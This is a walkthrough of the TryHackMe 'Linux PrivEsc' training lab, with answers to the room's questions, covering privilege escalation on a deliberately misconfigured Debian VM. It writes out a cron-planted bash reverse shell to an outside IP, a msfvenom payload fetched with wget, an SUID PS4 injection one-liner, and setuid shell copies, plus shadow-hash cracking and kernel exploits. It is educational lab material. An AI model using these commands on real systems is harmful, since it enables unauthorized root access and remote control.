TryHackMe
TryHackMe - Linux PrivEsc
Practice your Linux Privilege Escalation skills on an intentionally misconfigured Debian VM with multiple ways to get root!
SSH is available. Credentials: user:password321
Task 1 : Deploy the Vulnerable Debian VM
1. Deploy the machine and login to the “user” account using SSH.
Note : Replace IP Address with the Machine IP Address shown on TryHackMe
No answer required
2. Run the “id” command. What is the result?
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
Task 2 : Service Exploits
In this task we are going to exploit the MySQL server which does not have an root password and using SQL functions get root privileges on the system.
The exploit is already downloaded and present on the system in the “/home/user/tools/mysql-udf” directory. Follow the instructions given in the write-up to exploit this vulnerability.
Firstly we are compiling the C code that will allow us to exploit the vulnerability. Then login into MySQL as root user.
For more information on the options that are used to compile the C code refer the GCC Manual
In the database we are creating an table, loading a file into the table and writing the data back to another file (as MySQL is run as root the saved file will also be owned by root). An UDF called “do_system” is created which using the written file with create an new binary file that will give us root privileges.
When we run the binary file that was created using MySQL we see that now we have become the root user.
1. Read and follow along with the above.
No answer required
Task 3 : Weak File Permissions - Readable /etc/shadow
The list of all the users on Linux is saved in the “/etc/passwd’ file and the password after hashing for all the users are saved in the “/etc/shadow” folder.
The shadow file this system is readable and writable by anyone which is an issue. Now lets see how we can use this to our advantage to gain root access.
Save the hashed password of the root user (Everything between the 1st and 2nd : sign) in a file in your Kali System. Lets see what hash was used for hashing the file.
We see that the password for the root user was hashed using SHA-512. Now lets use John to crack the password.
We have found the password for the root user “password123”.
1. What is the root user’s password hash?
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
2. What hashing algorithm was used to produce the root user’s password hash?
sha512crypt
3. What is the root user’s password?
password123
Task 4 : Weak File Permissions — Writable /etc/shadow
As we saw in the previous task the shadow file on the system is readable and writable by anyone. So instead of cracking the password we could just make an new password and replace the old one.
Lets make an new password using the SHA-512 hash.
Replace the hash of the root user with the hash that we just generated.
Once we change the hash in the file we can login as the root user using the new password that we just generated.
1. Read and follow along with the above.
No answer required
Task 5 : Weak File Permissions — Writable /etc/passwd
The passwd file on Linux consist of the information regarding the various users on the system. On some (old) systems we are allows to save the password hash in this file as well. If the file has write privileges for all users we can exploit this to access the root user account.
Lets create an new password using the “openssl” command
Now lets create an new entry in the passwd file that is exactly same as the line for the root user and replace the name from “root” to “newroot”. And finally in place of the “x” (The “x” that is present between the 1st and 2nd : sign) lets use the hash that we just generated.
Now lets see we if are able to login as the user “newroot” that should have the same permissions as the root user.
1. Run the “id” command as the newroot user. What is the result?
uid=0(root) gid=0(root) groups=0(root)
Task 6 : Sudo - Shell Escape Sequences
An normal user can see the applications that he/she is allowed to run using the “sudo -l” command
We can see that there are multiple applications that we can run as root without an password. Lets visit GTOBins are see if any of these applications that provide us an easy way to get root privileges.
Lets see using vim if we can spawn an root user shell. Then we section for Vim we see that there are multiple commands that allows us to escalate privileges.
Lets use the first command and see if we can get an root shell. If we look through GTOBins for the other applications that we have permission to run without password we can see that all of them (except Apache2) can be exploited to get an root shell.
1. How many programs is “user” allowed to run via sudo?
11
2. One program on the list doesn’t have a shell escape sequence on GTFOBins. Which is it?
Apache2
3. Consider how you might use this program with sudo to gain root privileges without a shell escape sequence.
We could try out the options that the application provides and see if any of them can be exploited. We can also check if there are any known exploits for the service and use them to gain root privileges.
No answer required
Task 7 : Sudo - Environment Variables
Sudo can be configured to inherit certain environment variables from the current user. We can view these using “sudo -l”.
LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
Lets create a shared object using the code “/home/user/tools/sudo/preload.c”
Looking at the code we can see that there is an function that calls unsetenv() which is being used to clear the current values of the “LD_PRELOAD” environment variable. Then using setresuid() we are changing the effective and real userid and groupid to 0 (root) and finally making a system call to spawn an privileges bash shell.
Follow the instructions that are given in the write-up to see this exploit in action.
As we can see we have managed to spawn an root shell.
The same can be done using the LD_LIBRARY_PATH environment variable as well. Follow the steps shown in the write-up.
What if we try using another shared library will the attack still work ? Lets find out by try to use another shared file.
Initially when we changed the name of the library file that we created we got an error saying that some function was not found but after adding the function that was required by the library file we where able to get root shell.
1. Read and follow along with the above.
No answer required
Task 8 : Cron Jobs - File Permissions
Cron jobs are programs or scripts which users can schedule to run jobs at different times automatically. The Cron table (crontab) stores the list of all the cron jobs. The system-wide crontab is located at /etc/crontab.
By looking at the tasks we can see that there are two scripts that are scheduled to run every minute. Another thing that we observe is that both the tasks are scheduled by the “root” user so if we can modify the script the new code will also run with root privileges.
Looking at the permissions on the script file we see that it is writable by anyone. Change the content of the file with the following:
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1Note : Replace the IP Address in the script with the TryHackMe VPN IP Address which can be found by running “ip a show tun0” on your Kali machine and looking under inet.
Then we can setup an listener on your Kali Machine which should give us an root shell (should take less than a minute to get an connection)
1. Read and follow along with the above.
No answer required
Task 9 : Cron Jobs - PATH Environment Variable
We can see that in the cron table there is an line that specifies the PATH to check for the scripts whose absolute paths haven't been specified. We can exploit this to run our own code. From the previous task we know that the “overwrite.sh” file is located in “/usr/local/bin” which is the 3rd location in the PATH variable. We can create an new file with the same name (overwrite.sh) and place it in a location that is the 1st or 2nd location in the PATH variable.
When cron wants to run “overwrite.sh” it will look at all the locations in the PATH variable for the script (since we haven't specified the absolute path to the script). When it checks the 1st location it will find a file with the required name (the one we created) and since if found a file with the name required it will not check the rest of the locations specified in the PATH variable.
So lets create a file with the name “overwrite.sh” in “/home/usr” and add the following code:
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbashNow whenever cron wants to run overwrite.sh it will run our code (as our code is first in the PATH location) which will in turn spawn an root shell.
1. What is the value of the PATH variable in /etc/crontab?
/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Task 10 : Cron Jobs - Wildcards
Lets view the content of the other scheduled script.
We can see that the code periodically is making a backup of the entire “/home/user” folder. The important point to note here is the * that is used to represent any file. This can be exploited if not used correctly.
We can make files that have the same name as the options (flags) that are provided by the tar utility and tar will consider these files as options not as file names.
Lets create an payload using “msfvenom” that we will make the tar utility execute which should give us an reverse shell.
Now lets download the generated ELF file onto the target by using Python to host the file and wget to download the file.
python3 -m http.server 1234
After downloading the file lets make files that have names that are exactly the same as options (flags) that can be passed to the tar command. Using these options we should be able to execute the payload that we created.
And as we can see we have managed to setup an reverse shell (the connection should take less than a minute to be established)
1. Read and follow along with the above.
No answer required
Task 11 : SUID / SGID Executables - Known Exploits
We can view all the executable files on the system that can set UID/GID using the following command:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
There is an service called “exim-4.84–3” that appears in the list that is vulnerable lets look in searchsploit on our Kali Machine if there are any exploits available.
And we see that the version that we have installed has an Local Privilege Escalation exploit. The exploit required is already present on the target machine /home/user/tools/suid/exim/cve-2016-1531.sh lets run it and see if we can get root shell.
1. Read and follow along with the above.
No answer required
Task 12 : SUID / SGID Executables - Shared Object Injection
The executable /usr/local/bin/suid-so is vulnerable to shared object injection. Lets see this attack in action. First lets run the executable and see what it does. We see that it prints an progress bar on the terminal.
Lets use the strace command (Stack Trace) on the executable to see all libraries and files where accessed by the executable.
We can see that the executable depends on an library file called “libcalc.so” that should be present in the user directory.
We add code into that file that will set the UID to 0 (root) and then spawn an privileges shell. Lets compile this file and see if running the executable will cause our library to be loaded which in turn will spawn a root shell.
And as well can see we where able to spawn an root shell.
1. Read and follow along with the above.
No answer required
Task 13 : SUID / SGID Executables - Environment Variables
When we try to execute the binary /usr/local/bin/suid-env we see that it is trying to start the “Apache” server.
Using the strings command lets have a look at the content of the binary file. The strings command will return lines in the file that are human readable.
We can see that towards the end there is an line where using service the apache2 server is being started. The absolute path to the service executable is not specified in the file. We could make a new function that has the name service and use that to start apache2. If we add code to get an root shell in the service function we should be able to spawn an root shell.
1. Read and follow along with the above.
No answer required
Task 14 : SUID / SGID Executables - Abusing Shell Features (#1)
We have an service “/usr/local/bin/suid-env2” that works exactly the same as the one used in the previous task but instead of just using the executable name the entire path to the file service executable has been used. We can verify this by using the strings command.
In Bash versions less than “4.2–048" its possible to define functions that have names that look like paths on the system. We can use this to create an malicious function that will spawn an root shell for us.
1. Read and follow along with the above.
No answer required
Task 15 : SUID / SGID Executables - Abusing Shell Features (#2)
This exploit does not work on “Bash version 4.4 and above”.
When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements. We can modify the PS4 prompt to code that will spawn root shell.
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
1. Read and follow along with the above.
No answer required
Task 16 : Passwords & Keys - History Files
If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file. The content of the history file can be viewed using the following command:
cat ~/.*history | less
And as we can see the password for the root user is present in plain text in the history file.
1. What is the full mysql command the user executed?
mysql -h somehost.local -uroot -ppassword123
Task 17 : Passwords & Keys - Config Files
Config files often contain passwords in plaintext or other reversible formats.
Lets have a look at the content of the home directory. We can see an OpenVPN configuration file. In the configuration file we can see an line that is pointing to “auth.txt” for username and password.
When we view the contents of that file we see that the password and username are present in plaintext.
1. What file did you find the root user’s credentials in?
/etc/openvpn/auth.txt
Task 18 : Passwords & Keys - SSH Keys
Sometimes users make backups of important files but fail to secure them with the correct permissions. Lets have a look at the hidden files in the root directory.
In ssh folder we can see an file called “root_key” which looks like is the key for the root user. The file is readable by anyone on the system which should have not been the case.
Copy the content of the file and on our Kali system lets make a file called “root_key” and past the content into this file. Using this key we should be able to login as root via SSH.
Note : Make sure to change the permissions of the “root_key” file else SSH will not allow us to use the file.
1. Read and follow along with the above.
No answer required
Task 19 : NFS
Files created via NFS inherit the remote user’s ID. If the user is root, and root squashing is enabled, the ID will instead be set to the “nobody” user. The configuration for the NFS user is present in the /etc/exports file.
We see that for the /tmp directory the “no_root_squash” flag is set which means the folder used in NFS is owned by root all the files that are put in the folder is also going to have root privileges.
Lets goto our Kali machine and change to the root user. Make a folder and mounting the /tmp folder on the target to the new folder that we create. Finally lets create an payload which when executed with root privileges should spawn a root shell.
Now from the target machine when we execute the file we can see that we gave got an root shell.
1. What is the name of the option that disables root squashing?
no_root_squash
Task 20 : Kernel Exploits
Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort. Run the Linux Exploit Suggester 2 tool to identify potential kernel exploits on the current system:
perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
The popular Linux kernel exploit “Dirty COW” should be listed. Exploit code for Dirty COW can be found at /home/user/tools/kernel-exploits/dirtycow/c0w.c. It replaces the SUID file /usr/bin/passwd with one that spawns a shell.
So after running the exploit if we use the passwd binary file we shoud get an root shell.
1. Read and follow along with the above.
No answer required
Task 21 : Privilege Escalation Scripts
Several tools have been written which help find potential privilege escalations on Linux. Three of these tools have been included on the Debian VM in the following directory: /home/user/tools/privesc-scripts
Lets use linpeas.sh and see if we able to find the same vulnerabilities on the system.
1. Experiment with all three tools, running them with different options. Do all of them identify the techniques used in this room?
As we can see LinPEAS was able to find he vulnerabilities what where discussed in the various sections. Similarly the other two tools can be used to do Enumerate information about the system.
No answer required
That’s all. Happy Hacking :)
